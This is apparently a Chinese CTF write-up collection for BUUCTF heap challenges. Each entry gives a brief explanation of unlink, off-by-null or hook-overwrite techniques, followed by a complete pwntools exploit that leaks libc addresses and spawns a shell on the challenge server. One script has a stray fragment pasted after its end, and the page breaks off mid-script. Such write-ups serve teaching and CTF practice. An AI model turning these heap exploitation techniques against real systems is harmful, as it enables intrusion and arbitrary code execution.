edit(1,p64(bss_addr+0x40)+b'\n') add(0x28) add(0x28) edit(6,p64(len(shellcode)+0x10)+p64(shellcode_addr)+p64(0x20)+b"\x30\n") edit(5,p64(shellcode_addr)+b"\n") edit(4,shellcode+b"\n") add(0x10) #debug() it()
pwnable_unlink 利用unlink栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./unlink" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1: if sys.argv[1]=="ssh": shell = ssh(host="node4.buuoj.cn", user="unlink", port=26277, password="guest") io=shell.process(elf_path) else: remote_ip = "node4.buuoj.cn" remote_port = 29038 io = remote(remote_ip, remote_port) else: io = process(parm) ru(b"here is stack address leak: ") stack_addr=int(rld(),16) ru(b"here is heap address leak: ") heap_addr=int(rld(),16) shell=0x8048566 sla(b"get shell!\n",p32(shell).ljust(16,b"a")+p32(stack_addr+0x8)+p32(heap_addr+0xc)) it()
t3sec2018_hero 利用off by null进行unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./hero" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 26668 io = remote(remote_ip, remote_port) else: io = process(parm) def debug(): global io gdbscript = """ b *$rebase(0xF4C) c x/10xg $rebase(0x2020C0) x/10xg $rebase(0x202060) """ gdb.attach(io, gdbscript=gdbscript) def debug_force(): global io io.close() gdbscript = """ b *0x40074F c """ io=gdb.debug(parm, gdbscript=gdbscript) #112 def add(name,power): sla(b"Your choice: ",b"1") sa(b"What's your hero's name:\n",name)#off by null sa(b"What's your hero's power:\n",power) #没有清空 def free(idx): sla(b"Your choice: ",b"4") sla(b"What hero do you want to remove?\n",str(idx)) def show(idx): sla(b"Your choice: ",b"2") sla(b"What hero do you want to show?\n",str(idx)) def edit(idx,name,power): sla(b"Your choice: ",b"3") sla(b"What hero do you want to edit?\n",str(idx)) sa(b"What's your hero's name:\n",name)#off by null sa(b"What's your hero's power:\n",power) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2:] + out # out = "0x" + out # return out #debug_force() add(b"a",b"b") add(b"a",b"b") add(b"a"*0x60+p64(0x2e0),b"b") for i in range(3,10): add(b"a",b"b") for i in range(9,2,-1): free(i) free(0) free(2)#重叠堆块 for i in range(7):#用完7个tcache add(b"a",b"b") add(b"b",b"a") show(8) ru(b"Power:") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fd2ff359000-0x7fd2ff745061 add(b"a",b"b") free(0) free(2) free(1) free(9) add(b"a",p64(libc_base+libc.sym["__free_hook"])) add(b"/bin/sh\0",b"a")#1 add(b"a",b"a") add(b"a",p64(libc_base+libc.sym["system"])) free(1) #debug() it()
sctf2019_easy_heap 利用bss unlink达到任意地址写,主要可以写shellcode和修改free的ptr 然后就是利用普通的unlink达到堆块重叠的效果 这里需要爆破free_hookhttps://buuoj.cn/challenges#sctf2019_easy_heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./easy_heap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len (sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =25857 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): global io gdbscript = "" " b *$rebase(0x11FF) c x/20xg $rebase(0x202060) " "" gdb.attach(io, gdbscript=gdbscript) def debug_force(): global io io.close () gdbscript = "" " b *$rebase(0xe5c) b *$rebase(0x1134) c x/0xg $rebase(0x202060) x/10xg $rebase(0x202100) x/xg $rebase(0x2021A0) " "" io=gdb.debug(elf_path,gdbscript=gdbscript) #0x1000 def add(size): sla(b">> " , b"1" ) sla(b"Size: " ,str(size)) #清零了 def free(index): sla(b">> " , b"2" ) sla(b"Index: " ,str(index)) # def show(index): # sla(b">> " , b"3" ) # sla(b"index> " ,str(index)) def edit(index,content): sla(b">> " , b"3" ) sla(b"Index: " ,str(index)) sa(b"Content: " ,content) # def convert_str_asmencode(content: str): # out = "" # for i in content: # out = hex(ord(i))[2 :] + out # out = "0x" + out # return out #off by null ru(b"Mmap: " ) shellcode_addr=int (rld(),16 ) add(0x28 ) ru(b"chunk at [0] Pointer Address " ) ptr_addr=int (rld(),16 ) load_addr=ptr_addr-0x202068 add(0x4f8 ) edit(0 ,p64(0 )+p64(0x21 )+p64(ptr_addr-0x18 )+p64(ptr_addr-0x10 )+p64(0x20 )) add(0x18 ) free(1 ) edit(0 ,p64(0 )*2 +p64(0x500 )+p64(ptr_addr+0x8 )+b"\n" ) edit(0 ,p64(0x500 )+p64(shellcode_addr)+b"\n" ) edit(1 ,asm(shellcraft.sh())+b"\n" ) add(0x18 ) add(0x4f8 ) add(0x4f8 ) add(0x18 ) free(4 ) edit(2 ,p64(0 )*2 +p64(0x520 )) free(5 ) add(0x4f8 ) add(0x18 ) add(0x18 ) add(0x18 ) free(7 ) free(8 ) edit(0 ,p64(0 )*2 +p64(0x18 )+b"\xd0" +b"\n" ) edit(2 ,b"\x90\n" ) edit(5 ,b"\xe8\xa8\n" ) add(0x18 ) add(0x18 ) add(0x18 ) edit(8 ,p64(shellcode_addr)+b"\n" ) free(1 ) sl(b"ls" ) it()
gwctf_2019_chunk https://buuoj.cn/challenges#gwctf_2019_chunk 利用malloc_hook改成realloc,然后realloc_hook改成one_gadget malloc_hook修改relloc的push指令达到符合one_gadget的效果 off by null的unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 #0 ~255 def add(idx,size): sla(b"Your choice: " , b"1" ) sla(b"me a book ID: " ,str(idx)) sla(b"how long: " ,str(size)) #清零了 def free(index): sla(b"Your choice: " , b"3" ) sla(b"one to throw?\n" ,str(index)) def show(index): sla(b"Your choice: " , b"2" ) sla(b"want to show" ,str(index)) #off by null def edit(index,content): sla(b"Your choice: " , b"4" ) sla(b"book to write?" ,str(index)) sa(b"Content: " ,content) add(0 ,0x88 ) add(1 ,0x68 ) add(2 ,0xf8 ) add(3 ,0x18 ) free(0 ) edit(1 ,b"a" *0x60 +p64(0x100 )) free(2 ) add(0 ,0x88 ) show(1 ) ru(b"Content: " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7f07d7715000 -0x7f07d7ad9b78 add(2 ,0x68 ) free(1 ) edit(2 ,p64(libc_base+libc.sym["__malloc_hook" ]-0x23 )+b"\n" ) add(1 ,0x68 ) add(4 ,0x68 ) edit(4 ,b"a" *(0x13 -8 )+p64(libc_base+one_gadget[3 ])+p64(libc_base+libc.sym["realloc" ]+2 )+b"\n" ) add(5 ,0x18 ) it()
jarvisoj_level6 BUUCTF在线评测 (buuoj.cn)
下面题目的x86版本,需要注意的就是size问题,unlink是ptr-12和ptr-4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./freenote_x86" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25857 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/20xw *0x804A2EC " "" gdb.attach(io, gdbscript=gdbscript) def add(content): sla(b"Your choice: " , b"2" ) sla(b"Length of new note: " ,str(len(content))) sa(b"Enter your note: " ,content) def free (index): sla(b"Your choice: " , b"4" ) sla(b"Note number: " ,str(index)) def show(): sla(b"Your choice: " , b"1" ) def edit(index,content): sla(b"Your choice: " , b"3" ) sla(b"Note number: " ,str(index)) sla(b"Length of note: " ,str(len(content))) sa(b"Enter your note: " ,content) add(b"a" ) add(b"a" ) add(b"a" ) add(b"a" ) free (0 )add(b"a" ) show() ru(b"0. " ) libc_base=u32(ru(b"\xf7" ))+0xf7d5d000 -0xf7f0d761 free (2 )free (0 )add(b"a" *4 ) show() ru(b"0. aaaa" ) heap_addr=u32(r(4 )) free (0 )free (1 )ptr=heap_addr-0xc00 payload=p32(0 )+p32(0x109 )+p32(ptr-12 )+p32(ptr-8 ) add(payload) payload=p32(0 )*0x20 +p32(0x108 )+p32(0x88 )+p32(0 )*2 add(payload) free (2 )edit(0 ,p32(2 )+p32(1 )+p32(0x10 )+p32(ptr)) edit(0 ,p32(libc_base+next(libc.search(b"/bin/sh\0" )))+p32(1 )+p32(4 )+p32(libc_base+libc.sym["__free_hook" ])) edit(1 ,p32(libc_base+libc.sym["system" ])) free (0 )it()
jarvisoj_guestbook2 BUUCTF在线评测 (buuoj.cn)
题目的一些io处理是真的脑瘫,非常烦,而且malloc大小也有限制,必须是0x80的整数倍
返回给用户态的全部指向mem,但unlink要用到的假ptr必须是指向chunk,所以一般我们都需要在chunk里面伪造一个chunk,这样ptr就指向了假头
注意unsorted bin还有small bins分配的时候如果剩下的大小<MINISZIE,就会直接一起返回,不会切割出来,不然会切割
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./guestbook2" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =26763 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/20xg *0x6020A8 " "" gdb.attach(io, gdbscript=gdbscript) def add(content): sla(b"Your choice: " , b"2" ) sla(b"Length of new post: " ,str(len(content))) sa(b"Enter your post: " ,content) def free (index): sla(b"Your choice: " , b"4" ) sla(b"Post number: " ,str(index)) def show(): sla(b"Your choice: " , b"1" ) def edit(index,content): sla(b"Your choice: " , b"3" ) sla(b"Post number: " ,str(index)) sla(b"Length of post: " ,str(len(content))) sa(b"Enter your post: " ,content) add(b"a" )#0 add(b"a" )#1 add(b"a" )#2 add(b"a" )#3 free (2 )add(b"\n" )#2 show() ru(b"2. " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))+0x7fb369673000 -0x7fb369a37b0a free (2 )free (0 )add(b"a" *8 )#0 show() ru(b"0. aaaaaaaa" ) heap_addr=u64(rld().ljust(8 ,b"\0" )) free (1 )free (0 )ptr=heap_addr-0x17f0 payload=p64(0 )+p64(0x111 )+p64(ptr-0x18 )+p64(ptr-0x10 ) add(payload) paylaod=p64(0 )*16 +p64(0x110 )+p64(0x90 ) add(paylaod) free (2 )edit(0 ,p64(2 )+p64(1 )+p64(0x20 )+p64(ptr)) edit(0 ,p64(libc_base+next(libc.search(b"/bin/sh\0" )))+p64(1 )+p64(0x8 )+p64(libc_base+libc.sym["__free_hook" ])) edit(1 ,p64(libc_base+libc.sym["system" ])) free (0 )it() exit (0 )
zctf_2016_note3 BUUCTF在线评测 (buuoj.cn)
题目很简单,可以通过多分配堆直接修改掉bss保存的size,然后就是unlink就好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./zctf_2016_note3" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =25697 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " c x/9xg 0x6020C0 " "" gdb.attach(io, gdbscript=gdbscript) #<=1024 def add(size,content): sla(b"option--->>\n" , b"1" ) sla(b"ength of the note content:(less than 1024)\n" ,str(size)) sla(b"Input the note content:\n" ,content) def free (index): sla(b"option--->>\n" , b"4" ) sla(b"Input the id of the note:\n" ,str(index)) def edit(index,content): sla(b"option--->>\n" , b"3" ) sla(b"Input the id of the note:\n" ,str(index)) sla(b"Input the new content:\n" ,content) add(0x28 ,b"a" ) add(0x18 ,b"a" ) add(0x88 ,b"a" ) add(0x18 ,b"/bin/sh\0" ) for i in range(4 ,8 ): add(0x18 ,b"a" *0x18 ) ptr=0x6020c8 edit(0 ,p64(0 )+p64(0x41 )+p64(ptr-0x18 )+p64(ptr-0x10 )+p64(0 )+p64(0x21 )+p64(0 )*2 +p64(0x40 )+p64(0x90 )) free (2 )edit(0 ,p64(0 )*3 +p64(ptr+8 )+p64(elf.got["free" ])+p32(elf.got["puts" ])) edit(1 ,p32(elf.plt['puts' ])+p8(0 )) free (2 )libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-libc.sym["puts" ] system_addr=libc_base+libc.sym["system" ] edit(1 ,p32(system_addr&0xffffffff )+p16((system_addr>>32 )&0xffff )) free (3 )it()
zctf2016_note2 BUUCTF在线评测 (buuoj.cn)
这个题目总体不难,大概也能猜到漏洞在哪里,就是因为是strcpy的原因,要考虑到\x00截断
这里+14是因为data从14开始,v5-strlen(dest)就是判断剩下还有多少空余,由于read函数里面的长度<v5所以一般的长度都不行,除了size0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 #!/usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./note2" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port =29174 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b *0x400F1C c x/xg 0x602160 x/4xg 0x602120 x/4xg 0x602140 " "" gdb.attach(io, gdbscript=gdbscript) def add(size,content): sla(b"option--->>\n" , b"1" ) sla(b"Input the length of the note content:(less than 128)\n" ,str(size)) sla(b"Input the note content:\n" , content) def free (index: int ): sla(b"option--->>\n" , b"4" ) sla(b"Input the id of the note:\n" , str(index).encode()) def show(index): sla(b"option--->>\n" , b"2" ) sla(b"Input the id of the note:\n" ,str(index)) OVERWRITE=1 APPEND=2 def edit(index,chocie,content): sla(b"option--->>\n" , b"3" ) sla(b"Input the id of the note:\n" ,str(index)) if chocie==OVERWRITE: sla(b"do you want to overwrite or append?[1.overwrite/2.append]\n" ,b"1" ) else : sla(b"do you want to overwrite or append?[1.overwrite/2.append]\n" ,str(2 )) sla(b"TheNewContents:" ,content) sla(b"Input your name:" ,b"a" ) sla(b"Input your address:\n" ,b"a" ) ptr=0x602120 add(0x28 ,p64(0 )+p64(0x41 )+p64(ptr-0x18 )+p64(ptr-0x10 )) add(0x0 ,b"" ) add(0x80 ,b"a" ) add(0x18 ,b"/bin/sh\0" ) edit(1 ,OVERWRITE,b"a" *0x18 +p8(0x90 )) for i in range(6 ): edit(1 ,OVERWRITE,b"a" *(0x18 -i-1 )) edit(1 ,OVERWRITE,b"a" *0x10 +p8(0x40 )) free (2 )edit(0 ,OVERWRITE,b"a" *0x18 +p64(ptr+0x8 )) edit(0 ,OVERWRITE,p64(elf.got["puts" ])) show(1 ) ru(b"Content is " ) libc_base=u64(ru(b"\x7f" ).ljust(8 ,b"\0" ))-libc.sym["puts" ] edit(0 ,OVERWRITE,p64(libc_base+libc.sym["__free_hook" ])) edit(1 ,OVERWRITE,p64(libc_base+libc.sym["system" ])) free (3 )it()
pwnable_secret_of_my_heart https://buuoj.cn/challenges#pwnable_secret_of_my_heart
比较简单的off by null题目,伪造一个chunk就好
但最后需要利用malloc跳到realloc然后用跳到realloc的位置来调节栈结构在修改realloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 def add (size: int , name: bytes, secret: bytes) : sla (b"choice :" , b"1" ) sla (b"of heart : " , str(size).encode()) sa (b"Name of heart :" , name) sa (b"secret of my heart :" , secret) def free (index: int ) : sla (b"choice :" , b"3" ) sla (b"Index :" , str(index).encode()) def show (index: int ) : sla (b"choice :" , b"2" ) sla (b"Index :" , str(index).encode()) add (0x88 , b"a" , b"b" ) # 0add (0x18 , b"a" * 32 , b"b" ) # 1add (0xF0 , b"a" * 32 , b"b" ) # 2add (0x18 , b"a" * 32 , b"b" ) # 3free (0 ) free (1 ) add (0x18 , b"a" * 32 , b"a" * 0x10 + p64(0xB0 )) # 0free (2 ) add (0x88 , b"a" , b"b" ) # 1show (0 ) ru (b"cret : " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7F640CE62B78 + 0x7F640CA9E000 add(0x68 , b"a" , b"c" ) # 2 add(0x68 , b"c" , b"a" ) # 4 free (0 )free (4 )free (2 )malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] add(0x68 , b"a" , p64(malloc_hook_addr - 0x23 )) add(0x68 , b"a" , b"a" ) add(0x68 , b"a" , b"a" ) realloc_addr = libc_base + libc.sym["__libc_realloc" ] + 16 add(0x68 , b"a" , b"b" * 11 + p64(0x4526A + libc_base) + p64(realloc_addr)) sla(b"choice :" , b"1" ) sla(b"of heart : " , str(20 ).encode()) sa(b"Name of heart :" , b"a" ) it()
qctf_2018_babyheap BUUCTF在线评测
简单题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./QCTF_2018_babyheap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 28069 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b c x/8xg $rebase(0x202040) " "" gdb.attach(io, gdbscript=gdbscript) # off by null def add(size: int , content: bytes): sa(b"choice :\n" , b"1" ) sa(b"Size: \n" , str(size).encode()) if len(content) == size: sa(b"Data: " , content) else : sla(b"Data: " , content) # def edit(index: int, content: bytes): # sla(b"Choice: \n" , b"2" ) # sa(b"Enter index: " , str(index).encode()) # sa(b"Enter data: " , content) def free (index: int ): sa(b"choice :\n" , b"2" ) sa(b"Index: \n" , str(index).encode()) def show(): sa(b"choice :\n" , b"3" ) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0x418 , b"a" ) add(0x18 , b"a" ) add(0x4F8 , b"a" ) add(0x18 , b"a" ) free (0 )free (1 )add(0x18 , p64(0 ) * 2 + p64(0x440 )) free (2 )add(0x418 , b"a" ) show() ru(b"0 : " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) + 0x7FA38FD37000 - 0x7FA390122CA0 add(0x18 , b"a" ) free (0 )free (2 )add(0x18 , p64(libc_base + libc.sym["__free_hook" ])) add(0x18 , b"/bin/sh\0" ) add(0x18 , p64(libc_base + libc.sym["system" ])) free (2 )it()
cscctf_2019_qual_babyheap BUUCTF在线评测
比较简单的unlink,堆块重叠
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./cscctf_2019_qual_babyheap" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25977 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b c x/10xg $rebase(0x2020A0) " "" gdb.attach(io, gdbscript=gdbscript) # <0x100 ,off by null def add(index: int , size: int , content: bytes): sla(b">> " , b"1" ) sla(b"Index: " , str(index).encode()) sla(b"Size: " , str(size).encode()) sa(b"Content: " , content) # def edit(index: int, content: bytes): # sla(b"Choice: \n" , b"2" ) # sa(b"Enter index: " , str(index).encode()) # sa(b"Enter data: " , content) # 清空了 def free (index: int ): sla(b">> " , b"2" ) sla(b"Index: " , str(index).encode()) def show(index: int ): sla(b">> " , b"3" ) sla(b"Index: " , str(index).encode()) def convert_str_asmencode(content: str): out = "" for i in content: out = hex(ord(i))[2 :] + out out = "0x" + out return out add(0 , 0xF8 , b"a" ) add(1 , 0x18 , b"a" * 17 ) for i in range(8 ): add(i + 2 , 0xF8 , b"a" ) for i in range(10 , 2 , -1 ): free (i) free (1 )free (0 )add(1 , 0x18 , p64(0 ) * 2 + p64(0x120 )) free (2 )add(0 , 0x78 , b"a" ) add(2 , 0x78 , b"a" ) show(1 ) ru(b"content: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FF32C094CA0 + 0x7FF32BCA9000 add(3 , 0x18 , b"c" ) add(4 , 0x78 , b"a" ) add(5 , 0x78 , b"a" ) free (1 )free (3 )add(1 , 0x18 , p64(libc_base + libc.sym["__free_hook" ])) add(6 , 0x18 , b"/bin/sh\0" ) add(7 , 0x18 , p64(libc_base + libc.sym["system" ])) free (6 )# debug() it() exit (0 )free (0 )ptr = 0x602040 add(0x28 , p64(0 ) + p64(0x21 ) + p64(ptr - 0x18 ) + p64(ptr - 0x10 ) + p64(0x20 )) free (1 )add(0x18 , b"a" * 0x17 ) edit(0 , b"a" * 0x18 + p64(ptr + 8 ) + p64(elf.got["puts" ])) show(1 ) ru(b"Data: " ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - libc.sym["puts" ] free_hook_addr = libc_base + libc.sym["__free_hook" ] edit(0 , p64(free_hook_addr)) edit(1 , p64(libc_base + libc.sym["system" ])) add(0x18 , b"/bin/sh\0" ) free (2 )# debug() it()
sitdtu2019_iz_heap_lv2 BUUCTF在线评测
比较简单的off by null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./iz_heap_lv2" elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if "2.23" in libc.path: one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27" in libc.path: one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else : one_gadget = [] if len(sys.argv) > 1 : remote_ip = "node4.buuoj.cn" remote_port = 25867 io = remote(remote_ip, remote_port) else : io = process(elf_path) def debug(): gdbscript = "" " b c x/10xg 0x602040 x/10xg 0x6020E0 " "" gdb.attach(io, gdbscript=gdbscript) # 0 ~256 off by null def add(size: int , content: bytes): sla(b"Choice: \n" , b"1" ) sa(b"Enter size: " , str(size).encode()) sa(b"Enter data: " , content) # off by null def edit(index: int , content: bytes): sla(b"Choice: \n" , b"2" ) sa(b"Enter index: " , str(index).encode()) sa(b"Enter data: " , content) # 清空了 def free (index: int ): 